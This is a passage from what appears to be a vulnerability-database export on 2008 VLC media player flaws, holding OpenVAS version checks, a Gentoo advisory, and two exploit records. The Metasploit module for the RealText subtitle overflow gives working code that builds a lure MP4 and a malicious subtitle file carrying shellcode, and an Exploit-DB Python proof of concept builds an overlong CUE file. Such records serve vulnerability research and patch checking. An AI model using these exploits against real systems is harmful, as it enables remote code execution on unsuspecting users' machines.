test_version2:\"0.9.5\")){\n security_message(0);\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-07-24T12:50:22", "references": [], "pluginID": "63069", "description": "The remote host is missing updates announced in\nadvisory GLSA 200812-24.", "edition": 2, "reporter": "Copyright (c) 2008 E-Soft Inc. http://www.securityspace.com", "published": "2008-12-29T00:00:00", "title": "Gentoo Security Advisory GLSA 200812-24 (vlc)", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "Gentoo Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-5032", "CVE-2008-5036", "CVE-2008-5276"], "modified": "2017-07-07T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=63069", "id": "OPENVAS:63069", "sourceData": "#\n# OpenVAS Vulnerability Test\n# $\n# Description: Auto generated from Gentoo's XML based advisory\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2008 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"Multiple vulnerabilities in VLC may lead to the remote execution of\narbitrary code.\";\ntag_solution = \"All VLC users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=media-video/vlc-0.9.8a'\n\nhttp://www.securityspace.com/smysecure/catid.html?in=GLSA%20200812-24\nhttp://bugs.gentoo.org/show_bug.cgi?id=245774\nhttp://bugs.gentoo.org/show_bug.cgi?id=249391\";\ntag_summary = \"The remote host is missing updates announced in\nadvisory GLSA 200812-24.\";\n\n \n \n\nif(description)\n{\n script_id(63069);\n script_version(\"$Revision: 6596 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-07 11:21:37 +0200 (Fri, 07 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2008-12-29 22:42:24 +0100 (Mon, 29 Dec 2008)\");\n script_cve_id(\"CVE-2008-5032\", \"CVE-2008-5036\", \"CVE-2008-5276\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_name(\"Gentoo Security Advisory GLSA 200812-24 (vlc)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2008 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Gentoo Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/gentoo\", \"ssh/login/pkg\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-gentoo.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = ispkgvuln(pkg:\"media-video/vlc\", unaffected: make_list(\"ge 0.9.8a\"), vulnerable: make_list(\"lt 0.9.8a\"))) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-04-06T11:39:42", "references": [], "pluginID": "136141256231064255", "description": "The remote host is missing an update to vlc\nannounced via advisory DSA 1819-1.", "edition": 1, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-06-23T00:00:00", "title": "Debian Security Advisory DSA 1819-1 (vlc)", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "naslFamily": "Debian Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-4686", "CVE-2008-1768", "CVE-2008-1769", "CVE-2008-5032", "CVE-2008-1881", "CVE-2008-3794", "CVE-2008-2147", "CVE-2008-2430"], "modified": "2018-04-06T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231064255", "id": "OPENVAS:136141256231064255", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_1819_1.nasl 9350 2018-04-06 07:03:33Z cfischer $\n# Description: Auto-generated from advisory DSA 1819-1 (vlc)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"Several vulnerabilities have been discovered in vlc, a multimedia player\nand streamer. The Common Vulnerabilities and Exposures project\nidentifies the following problems:\n\nCVE-2008-1768\n\nDrew Yao discovered that multiple integer overflows in the MP4 demuxer,\nReal demuxer and Cinepak codec can lead to the execution of arbitrary\ncode.\n\nCVE-2008-1769\n\nDrew Yao discovered that the Cinepak codec is prone to a memory\ncorruption, which can be triggered by a crafted Cinepak file.\n\nCVE-2008-1881\n\nLuigi Auriemma discovered that it is possible to execute arbitrary code\nvia a long subtitle in an SSA file.\n\nCVE-2008-2147\n\nIt was discovered that vlc is prone to a search path vulnerability,\nwhich allows local users to perform privilege escalations.\n\nCVE-2008-2430\n\nAlin Rad Pop discovered that it is possible to execute arbitrary code\nwhen opening a WAV file containing a large fmt chunk.\n\nCVE-2008-3794\n\nPnar Yanarda discovered that it is possible to execute arbitrary code\nwhen opening a crafted mmst link.\n\nCVE-2008-4686\n\nTobias Klein discovered that it is possible to execute arbitrary code\nwhen opening a crafted .ty file.\n\nCVE-2008-5032\n\nTobias Klein discovered that it is possible to execute arbitrary code\nwhen opening an invalid CUE image file with a crafted header.\n\n\nFor the oldstable distribution (etch), these problems have been fixed\nin version 0.8.6-svn20061012.debian-5.1+etch3.\n\nFor the stable distribution (lenny), these problems have been fixed in\nversion 0.8.6.h-4+lenny2, which was already included in the lenny\nrelease.\n\nFor the testing distribution (squeeze) and the unstable distribution\n(sid), these problems have been fixed in version 0.8.6.h-5.\n\n\nWe recommend that you upgrade your vlc packages.\";\ntag_summary = \"The remote host is missing an update to vlc\nannounced via advisory DSA 1819-1.\";\n\ntag_solution = \"https://secure1.securityspace.com/smysecure/catid.html?in=DSA%201819-1\";\n\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.64255\");\n script_version(\"$Revision: 9350 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:03:33 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2009-06-23 15:49:15 +0200 (Tue, 23 Jun 2009)\");\n script_cve_id(\"CVE-2008-1768\", \"CVE-2008-1769\", \"CVE-2008-1881\", \"CVE-2008-2147\", \"CVE-2008-2430\", \"CVE-2008-3794\", \"CVE-2008-4686\", \"CVE-2008-5032\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_name(\"Debian Security Advisory DSA 1819-1 (vlc)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"wxvlc\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-alsa\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-esd\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-arts\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libvlc0\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"mozilla-plugin-vlc\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-nox\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-sdl\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libvlc0-dev\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-ggi\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-glide\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-svgalib\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-07-24T12:56:54", "references": [], "pluginID": "64255", "description": "The remote host is missing an update to vlc\nannounced via advisory DSA 1819-1.", "edition": 2, "reporter": "Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com", "published": "2009-06-23T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "title": "Debian Security Advisory DSA 1819-1 (vlc)", "type": "openvas", "naslFamily": "Debian Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-4686", "CVE-2008-1768", "CVE-2008-1769", "CVE-2008-5032", "CVE-2008-1881", "CVE-2008-3794", "CVE-2008-2147", "CVE-2008-2430"], "modified": "2017-07-07T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=64255", "id": "OPENVAS:64255", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_1819_1.nasl 6615 2017-07-07 12:09:52Z cfischer $\n# Description: Auto-generated from advisory DSA 1819-1 (vlc)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"Several vulnerabilities have been discovered in vlc, a multimedia player\nand streamer. The Common Vulnerabilities and Exposures project\nidentifies the following problems:\n\nCVE-2008-1768\n\nDrew Yao discovered that multiple integer overflows in the MP4 demuxer,\nReal demuxer and Cinepak codec can lead to the execution of arbitrary\ncode.\n\nCVE-2008-1769\n\nDrew Yao discovered that the Cinepak codec is prone to a memory\ncorruption, which can be triggered by a crafted Cinepak file.\n\nCVE-2008-1881\n\nLuigi Auriemma discovered that it is possible to execute arbitrary code\nvia a long subtitle in an SSA file.\n\nCVE-2008-2147\n\nIt was discovered that vlc is prone to a search path vulnerability,\nwhich allows local users to perform privilege escalations.\n\nCVE-2008-2430\n\nAlin Rad Pop discovered that it is possible to execute arbitrary code\nwhen opening a WAV file containing a large fmt chunk.\n\nCVE-2008-3794\n\nPnar Yanarda discovered that it is possible to execute arbitrary code\nwhen opening a crafted mmst link.\n\nCVE-2008-4686\n\nTobias Klein discovered that it is possible to execute arbitrary code\nwhen opening a crafted .ty file.\n\nCVE-2008-5032\n\nTobias Klein discovered that it is possible to execute arbitrary code\nwhen opening an invalid CUE image file with a crafted header.\n\n\nFor the oldstable distribution (etch), these problems have been fixed\nin version 0.8.6-svn20061012.debian-5.1+etch3.\n\nFor the stable distribution (lenny), these problems have been fixed in\nversion 0.8.6.h-4+lenny2, which was already included in the lenny\nrelease.\n\nFor the testing distribution (squeeze) and the unstable distribution\n(sid), these problems have been fixed in version 0.8.6.h-5.\n\n\nWe recommend that you upgrade your vlc packages.\";\ntag_summary = \"The remote host is missing an update to vlc\nannounced via advisory DSA 1819-1.\";\n\ntag_solution = \"https://secure1.securityspace.com/smysecure/catid.html?in=DSA%201819-1\";\n\n\nif(description)\n{\n script_id(64255);\n script_version(\"$Revision: 6615 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-07 14:09:52 +0200 (Fri, 07 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-06-23 15:49:15 +0200 (Tue, 23 Jun 2009)\");\n script_cve_id(\"CVE-2008-1768\", \"CVE-2008-1769\", \"CVE-2008-1881\", \"CVE-2008-2147\", \"CVE-2008-2430\", \"CVE-2008-3794\", \"CVE-2008-4686\", \"CVE-2008-5032\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_name(\"Debian Security Advisory DSA 1819-1 (vlc)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"wxvlc\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-alsa\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-esd\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-arts\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libvlc0\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"mozilla-plugin-vlc\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-nox\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-sdl\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libvlc0-dev\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-ggi\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-glide\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"vlc-plugin-svgalib\", ver:\"0.8.6-svn20061012.debian-5.1+etch3\", rls:\"DEB4.0\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "metasploit": [{"lastseen": "2018-09-10T01:49:30", "_object_types": ["robots.models.base.Bulletin", "robots.models.metasploit.MetasploitBulletin"], "references": [], "description": "This module exploits a stack buffer overflow vulnerability in VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of RealText subtitle files. In order to exploit this, this module will generate two files: The .mp4 file is used to trick your victim into running. The .rt file is the actual malicious file that triggers the vulnerability, which should be placed under the same directory as the .mp4 file.", "reporter": "Rapid7", "published": "2012-03-01T22:06:40", "metasploitHistory": "https://github.com/rapid7/metasploit-framework/commits/master/modules/exploits/windows/fileformat/vlc_realtext.rb", "type": "metasploit", "title": "VLC Media Player RealText Subtitle Overflow", "enchantments": {"score": {"vector": "NONE", "value": 6.8}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2008-5032", "CVE-2008-5036"], "_object_type": "robots.models.metasploit.MetasploitBulletin", "modified": "2017-07-24T13:26:21", "metasploitReliability": "Good", "id": "MSF:EXPLOIT/WINDOWS/FILEFORMAT/VLC_REALTEXT", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GoodRanking\n\n include Msf::Exploit::FILEFORMAT\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'VLC Media Player RealText Subtitle Overflow',\n 'Description' => %q{\n This module exploits a stack buffer overflow vulnerability in\n VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of\n RealText subtitle files.\n\n In order to exploit this, this module will generate two files:\n The .mp4 file is used to trick your victim into running. The .rt file\n is the actual malicious file that triggers the vulnerability, which\n should be placed under the same directory as the .mp4 file.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Tobias Klein', # Vulnerability Discovery\n 'SkD', # Exploit\n 'juan vazquez' # Metasploit Module\n ],\n 'References' =>\n [\n [ 'OSVDB', '49809' ],\n [ 'CVE', '2008-5036' ],\n [ 'BID', '32125' ],\n [ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],\n [ 'URL', 'http://www.videolan.org/security/sa0810.html' ]\n ],\n 'Payload' =>\n {\n 'Space' => 1900,\n 'DisableNops' => true,\n 'BadChars' => \"\\x00\\x22\\x0a\",\n 'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\" # Stack adjustment # add esp, -3500\n },\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',\n {\n 'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll\n 'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data\n }\n ],\n ],\n 'Privileged' => false,\n 'DisclosureDate' => 'Nov 05 2008',\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']),\n ])\n end\n\n def generate_mp4\n mp4 = ''\n # ftyp\n mp4 << \"\\x00\\x00\\x00\\x14\" #Size\n mp4 << \"ftyp\" #Type\n mp4 << \"isom\" #Major brand\n mp4 << \"\\x00\\x00\" #version\n mp4 << \"\\x00\\x00\"\n mp4 << \"mp41\" #Compatible brands\n # moov\n mp4 << \"\\x00\\x00\\x00\\x9f\" #Size\n mp4 << \"moov\" #Type\n mp4 << \"\\x00\\x00\\x00\\x6c\\x6d\\x76\\x68\\x64\\x00\\x00\\x00\\x00\\xcb\\x75\\xf1\\xc2\\xcb\\x75\\xf1\\xc2\"\n mp4 << \"\\x00\\x01\\x5f\\x90\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n mp4 << \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n mp4 << \"\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\"\n mp4 << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n mp4 << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x2b\"\n mp4 << \"udta\"\n mp4 << \"\\x00\\x00\\x00\\x23\"\n mp4 << \"\\xa9\\x65\\x6e\\x63\\x00\\x17\\x00\\x00\"\n mp4 << \"vlc 0.9.4 stream output\"\n # wide\n mp4 << \"\\x00\\x00\\x00\\x08\"\n mp4 << \"wide\"\n # mdat\n mp4 << \"\\x00\\x00\\x00\\x08\"\n mp4 << \"mdat\"\n\n return mp4\n end\n\n def generate_rt\n my_payload = \"\"\n my_payload << Rex::Text.rand_text(72, payload_badchars)\n my_payload << [target.ret].pack(\"V\") # EIP => jmp esp\n my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $+8\").encode_string # ESP => jmp after \"Writable address\"\n my_payload << Rex::Text.rand_text(2, payload_badchars)\n my_payload << [target['WritableAddress']].pack(\"V\") # Writable address\n my_payload << payload.encoded\n\n rt_file = <<-eos\n<window height=\"250\" width=\"300\" duration=\"15\" bgcolor=\"yellow\">\nMary had a little lamb,\n<br/><time begin=\"#{my_payload}\"/>\n<br/><time begin=\"6\"/>little lamb,\n<br/><time begin=\"9\"/>Mary had a little lamb\n<br/><time begin=\"12\"/>whose fleece was white as snow.\n</window>\n eos\n\n return rt_file\n end\n\n def exploit\n\n mp4 = generate_mp4\n rt = generate_rt\n\n print_status(\"Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file\")\n file_create(rt)\n\n original_fname = datastore['FILENAME']\n datastore['FILENAME'] = original_fname.scan(/(\\w+).\\w+/).flatten[0] + \".mp4\"\n print_status(\"Creating '#{datastore['FILENAME']}'. This is the file your victim should open.\")\n file_create(mp4)\n\n datastore['FILENAME'] = original_fname\n\n end\nend\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/vlc_realtext.rb"}], "gentoo": [{"lastseen": "2016-09-06T19:46:27", "references": ["https://bugs.gentoo.org/show_bug.cgi?id=245774", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5036", "https://bugs.gentoo.org/show_bug.cgi?id=249391", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5276", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5032"], "affectedPackage": [{"OS": "Gentoo", "OSVersion": "any", "packageVersion": "0.9.8a", "arch": "all", "packageFilename": "UNKNOWN", "packageName": "media-video/vlc", "operator": "lt"}], "edition": 1, "description": "### Background\n\nVLC is a cross-platform media player and streaming server. \n\n### Description\n\nTobias Klein reported the following vulnerabilities: \n\n * A stack-based buffer overflow when processing CUE image files in modules/access/vcd/cdrom.c (CVE-2008-5032).\n * A stack-based buffer overflow when processing RealText (.rt) subtitle files in the ParseRealText() function in modules/demux/subtitle.c (CVE-2008-5036).\n * An integer overflow when processing RealMedia (.rm) files in the ReadRealIndex() function in real.c in the Real demuxer plugin, leading to a heap-based buffer overflow (CVE-2008-5276).\n\n### Impact\n\nA remote attacker could entice a user to open a specially crafted CUE image file, RealMedia file or RealText subtitle file, possibly resulting in the execution of arbitrary code with the privileges of the user running the application. \n\n### Workaround\n\nThere is no known workaround at this time. \n\n### Resolution\n\nAll VLC users should upgrade to the latest version: \n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=media-video/vlc-0.9.8a\"", "reporter": "Gentoo Foundation", "published": "2008-12-24T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 9.3}}, "type": "gentoo", "title": "VLC: Multiple vulnerabilities", "bulletinFamily": "unix", "cvelist": ["CVE-2008-5032", "CVE-2008-5036", "CVE-2008-5276"], "modified": "2008-12-24T00:00:00", "id": "GLSA-200812-24", "href": "https://security.gentoo.org/glsa/200812-24", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitdb": [{"lastseen": "2016-02-01T11:08:55", "osvdbidlist": ["49808"], "references": [], "description": "VLC Media Player < 0.9.6 (CUE) Local Buffer Overflow PoC. CVE-2008-5032. Dos exploit for windows platform", "edition": 1, "reporter": "Dr_IDE", "published": "2009-09-15T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 10.0}}, "type": "exploitdb", "title": "VLC Media Player < 0.9.6 CUE Local Buffer Overflow PoC", "bulletinFamily": "exploit", "cvelist": ["CVE-2008-5032"], "modified": "2009-09-15T00:00:00", "id": "EDB-ID:9686", "href": "https://www.exploit-db.com/exploits/9686/", "sourceData": "#!/usr/bin/env python\n\n####################################################################################\n#\n# VLC Media Player < 0.9.6 (.CUE) Buffer Overflow PoC\n# Found By:\tDr_IDE\n# Tested On:\tXPSP3\n#\n####################################################################################\n\nhead = (\"\\x46\\x49\\x4c\\x45\\x20\\x22\")\nbuff = (\"\\x41\" * 10000)\nfoot = (\n\"\\x2e\\x42\\x49\\x4e\\x22\\x20\\x42\\x49\\x4e\\x41\\x52\\x59\\x0d\\x0a\\x20\\x54\"\n\"\\x52\\x41\\x43\\x4b\\x20\\x30\\x31\\x20\\x4d\\x4f\\x44\\x45\\x31\\x2f\\x32\\x33\"\n\"\\x35\\x32\\x0d\\x0a\\x20\\x20\\x20\\x49\\x4e\\x44\\x45\\x58\\x20\\x30\\x31\\x20\"\n\"\\x30\\x30\\x3a\\x30\\x30\\x3a\\x30\\x30\")\n\nf1 = open(\"vlc_0.8.6.cue\",\"w\")\nf1.write(head + buff + foot)\nf1.close()\n\n# milw0rm.com [2009-09-15]\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/9686/"}, {"lastseen": "2016-02-02T09:57:02", "osvdbidlist": ["49809"], "references": [], "description": "VLC Media Player RealText Subtitle Overflow. CVE-2008-5036. Local exploit for windows platform", "edition": 1, "reporter": "metasploit", "published": "2012-03-02T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "exploitdb", "title": "VLC Media Player RealText Subtitle 